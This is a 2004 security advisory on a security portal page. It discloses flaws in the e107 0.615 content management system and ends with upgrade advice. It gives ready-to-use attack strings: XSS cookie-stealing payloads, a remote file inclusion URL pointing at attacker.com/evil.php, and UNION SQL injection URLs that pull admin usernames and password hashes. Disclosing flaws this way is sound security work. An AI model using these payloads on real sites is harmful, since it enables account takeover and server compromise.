Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
July 22, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: truva
New Today: 0
New Yesterday: 0
Overall: 8945

People Online:
Visitors: 156
Members: 1
Total: 157

Online Now:
01: Roak84 - Forums
milw0rm
·[web applications] - Dolphin 7.1.4 SQL Injection Vulnerability
·[web applications] - web2Project 3.1 SQL Injection Vulnerability
·[remote exploits] - Ericom AccessNow Server Buffer Overflow Exploit
·[dos / poc] - Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability
·[local exploits] - docker 0.11 VMM-container Breakout
·[remote exploits] - Ubisoft Rayman Legends 1.2.103716 - Remote Stack Buffer Overflow Vulnerability
·[remote exploits] - Rocket Servergraph Admin Center fileRequestor Remote Code Execution
·[web applications] - Motorola SBG901 Wireless Modem - CSRF Vulnerability
·[web applications] - ZTE WXV10 W300- Multiple Vulnerabilities
·[remote exploits] - Java Debug Wire Protocol Remote Code Execution Exploit

read more...
PacketStorm News
·Ubuntu Security Notice USN-2249-1
·Red Hat Security Advisory 2014-0764-01
·Ubuntu Security Notice USN-2248-1
·CDVI ACAC22 Authentication / Denial Of Service
·Red Hat Security Advisory 2014-0763-01
·Red Hat Security Advisory 2014-0762-01
·PayPal SecurityKey Card Serialnumber Module Code Injection
·SugarCRM 6.5.16 XXE Injection
·Debian Security Advisory 2963-1
·Debian Security Advisory 2962-1

read more...
[waraxe-2004-SA#031] - Multiple vulnerabilities in e107 version 0.615





Author: Janek Vind "waraxe"
Date: 29. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=31


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First of all, some conditions have to be met on victim server, to be vulnerable:

1. "register_globals" must be "on"
2. mysql must be version 4.x with enabled UNION functionality.

Now, let's discuss those security flaws:


A - Full Path Disclosure:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Many software developers, webmasters, admins and other IT staff are underestimating
the full path disclosure as security bug. Anyway, this information - full path to
script - must be kept in secret, when possible, or it will be as little piece of the
puzzle amongst many other pieces, which finally will lead to successful attack on the
website.

A1 - many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure. Examples:

http://localhost/e107_0615/e107_plugins/alt_news/alt_news.php

http://localhost/e107_0615/e107_plugins/backend_menu/backend_menu.php

http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php

http://localhost/e107_0615/e107_plugins/counter_menu/counter_menu.php

http://localhost/e107_0615/e107_plugins/login_menu/login_menu.php

... and many-many more, needed to be fixed!


B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Potential attacker can use xss to steal the cookies, to read cross-domain forms,etc.
Finally it can lead to admin account compromise and ovetakeing of the website.

B1 - xss in clock_menu.php through direct access of the script:

http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);
//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


B2 - xss in feature called "email article to a friend":

attacker must be logged off and will enter to inputfield "logged name" this:

foobar'><body onload=alert(document.cookie);>


B3 - xss in feature called "submit news":

Attacker is logged off and will enter to inputfield "logged name" this:

foobar'><body onload=alert(document.cookie);>


B4 - xss in "user settings":

attacker is logged on and makes POST request like this:

http://localhost/e107_0615/usersettings.php?avmsg=[xss code here]



C - Remote file inclusion:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Remote inclusion - this is VERY DANGEROUS security hole. If php is configured
with "allow_url_fopen=on" and there is no firewall, which blocks outbound connections,
then potential attacker can force VICTIM's php engine to parse ATTACKER's php code!!
This can lead to shell-level server compromise (if there are permissions to execute
system commands) with "nobody" or "apache" privileges. Attacker can then try some
local r00t exploits and finally server is 0wned ;)

C1 - remote file inclusion in "secure_img_render.php" script:

http://localhost/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php

Remark: "register_globals" must be "on" to be successful in exploitining in this way.


D - Sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Through sql injection potential attacker can gather from database any information he wants.
Including admin's username and password's md5 hash. There are only 1...2 steps more to admin's
account overtakeing...

D1 - critical sql injection bug #1 in "content.php" script:


http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,
null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*


D2 - critical sql injection bug #2 in "content.php" script:

http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*


D3 - critical sql injection bug in "news.php" script:

http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,
CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

First of all, i suggest to use newer version 0.616, which seems to be patched
against above discussed bugs. And what, if you want to secure your site without
update of the e107 version? Then you are welcome to visit forum on my homepage
at http://www.waraxe.us/forum/ , where you can find tutorial about manual fixes.

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix for helping me in bughunting!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (11462 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: Microsoft Internet Explorer CVE-2014-0282 Remote Memory Corruption Vulnerability
·Vuln: libpng 'png_read_transform_info( )' Function NULL Pointer Dereference Denial of Service Vulnerability
·Vuln: Oracle Java SE CVE-2014-0411 Remote Security Vulnerability
·Vuln: Oracle Java SE CVE-2014-0416 Remote Security Vulnerability
·Bugtraq: Secunia CSI/VIM - Filter Bypass & Persistent Validation Vulnerabilities
·Bugtraq: Paypal Inc Bug Bounty #36 - SecurityKey Card Serialnumber Module Vulnerability
·Bugtraq: Multiple SQL Injection Vulnerabilities in web2Project
·Bugtraq: SQL Injection in Dolphin
·More rss feeds from SecurityFocus

read more...
alexa



Hard drive recovery - Game Cheats - Book Reviews - Cisco VPN error 412
Harry Potter - Book Reviews - Old Science Books Online - Biographies Online Database
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.073 Seconds